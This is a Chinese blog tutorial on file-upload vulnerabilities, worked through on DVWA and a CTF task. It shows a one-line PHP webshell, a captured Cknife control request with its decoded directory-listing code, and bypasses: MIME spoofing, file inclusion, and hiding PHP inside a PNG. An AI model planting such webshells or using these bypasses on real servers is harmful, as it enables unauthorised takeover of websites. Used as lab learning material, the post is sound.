从文件上传到一句话木马

前言

最近在对之前学的东西进行总结和复习,发现自己竟然没有系统的学习文件上传漏洞,罪过罪过。然后这两天看了视频讲解,对文件上传漏洞有了系统的了解,下面听我慢慢说来。

漏洞原理

文件上传漏洞的成因,是程序员在对用户进行文件上传的部分控制不足或者处理不当,导致用户能越权向服务器上传可执行脚本文件,也就是大家常说的一句话木马(webshell)。这种对服务器的攻击方式,是最为直接和有效的。

Webshell

一种以asp,php,jsp等网页形式存在的命令执行环境,也叫网页后门。当攻击者入侵网站的时候,会将这些个asp或者php后门文件与web目录下的正常文件混在一起,通过使用菜刀蚁剑等等软件,获取服务器的权限,达到控制网站服务器的目的。例如php最常见的小马,<?php eval($_POST[a]);?>。

中国菜刀/Cknife

简单粗暴的webshell管理软件,当你向网站写入一句话木马的时候,就能在本地获取和控制整个网站目录。作为了解,笔者用Burpsuite抓了一下cknife给目标网站发送的报文。

1
a=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

经过解码后,变量action的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
   @ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=base64_decode($_POST["z1"]);
$F=@opendir($D);
if($F==NULL){
echo("ERROR:// Path Not Found Or No Permission!");
}
else{
$M=NULL;
$L=NULL;
while($N=@readdir($F)){
$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."";
if(@is_dir($P))$M.=$N."/".$R;
else $L.=$N.$R;
}
echo $M.$L;@closedir($F);};
echo("|<-");
die();

z1=G:\phpStudy\WWW\DVWA\hackable\uploads

很好理解,首先我上传的一句话木马是POST类型的变量a,那么,我给a赋值为让服务器执行(eval)的一串代码,为了绕过检测,使用base64加密的方式,用php代码遍历出服务器根目录下的所有文件。

常见的几种利用方式

这里以DVWA的环境做演示:

难度:LOW

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  <?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

很简单,代码就做了两件事,一是定义了文件上传的路径,然后再把文件放到hackable/uploads/目录下,并判断上传是否成功。然后我们创建文件1.php,写入一句话木马<?php eval($_POST[a])?>,上传一句话木马到服务器,显示上传成功。

上传完毕之后,就到了紧张刺激的getshell环节,这里直接使用c刀,添加shell文件的地址,以及定义好的变量名a,即可连接到服务器,开始为所欲为。

难度:MEDIUM

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

注释都写得很清楚了,这次的校验使用的php(后端)校验,它会在你上传文件的时候记录文件名、文件类型和大小,服务器端进而判断你的文件是否符合要求。这里涉及到一个知识点MIME,和HTTP请求头中的Content—Type。

MIME/Content—Type

媒体类型(通常称为 Multipurpose Internet Mail ExtensionsMIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。

Content-Type是指http/https发送信息至服务器时的内容编码类型,contentType用于表明发送数据流的类型,服务器根据编码类型使用特定的解析方式,获取数据。

常见的类型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
text/plain(纯文本)

text/html(HTML文档)

text/javascript(js代码)

application/xhtml+xml(XHTML文档)

image/gif(GIF图像)

image/jpeg(JPEG图像)

image/png(PNG图像)

video/mpeg(MPEG动画)

application/octet-stream(二进制数据)

application/pdf(PDF文档)

application/(编程语言) 该种语言的代码

application/msword(Microsoft Word文件)

message/rfc822(RFC 822形式)

multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)

application/x-www-form-urlencoded(POST方法提交的表单)

multipart/form-data(POST提交时伴随文件上传的表单)

当你上传文件的时候,MIME类型是浏览器进行判断的,它没有那么智能,只通过文件后缀来判断文件类型,随后写入Content—Type中,标识内容编码类型。那么我们就可以通过Burpsuite抓包的方式去修改服务器接收的文件类型,将1.php的MIME修改为image/png,再发送报文,成功上传。还有一种方式比较特别,就是利用文件上传+文件包含这样的组合来上传。先将一句话木马改成.png格式,然后通过文件包含漏洞,page重定向到文件上传后的目录下,实现getshell。

难度:HIGH

高难度其实也并不难。。就不多做描述了,代码中增加了一段验证文件内容的代码,所以我们可以将一句话木马藏到图片,这里给出两个方法,一个是通过winhex增加选块后添加,另一种是用cmd在本地合成:copy 1.png/b+a.php a.png,/b的含义是将png转化为二进制文件。剩下的步骤,还是文件上传+文件包含,并无太大区别。

补充:攻防世界upload1

刷题的时候碰到了,就顺便记录一下,是比较常见的前端校验(当我在写好一句话木马上传的时候,Burpsuite还未抓到包,浏览器就弹出警告)。谷歌浏览器直接F12,果然能看到JS的判断语句,这里在png后面再加上’php’,即可成功绕过。

Author: De-m0n
Link: http://De-m0n.github.io/2020/01/29/file-upload/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶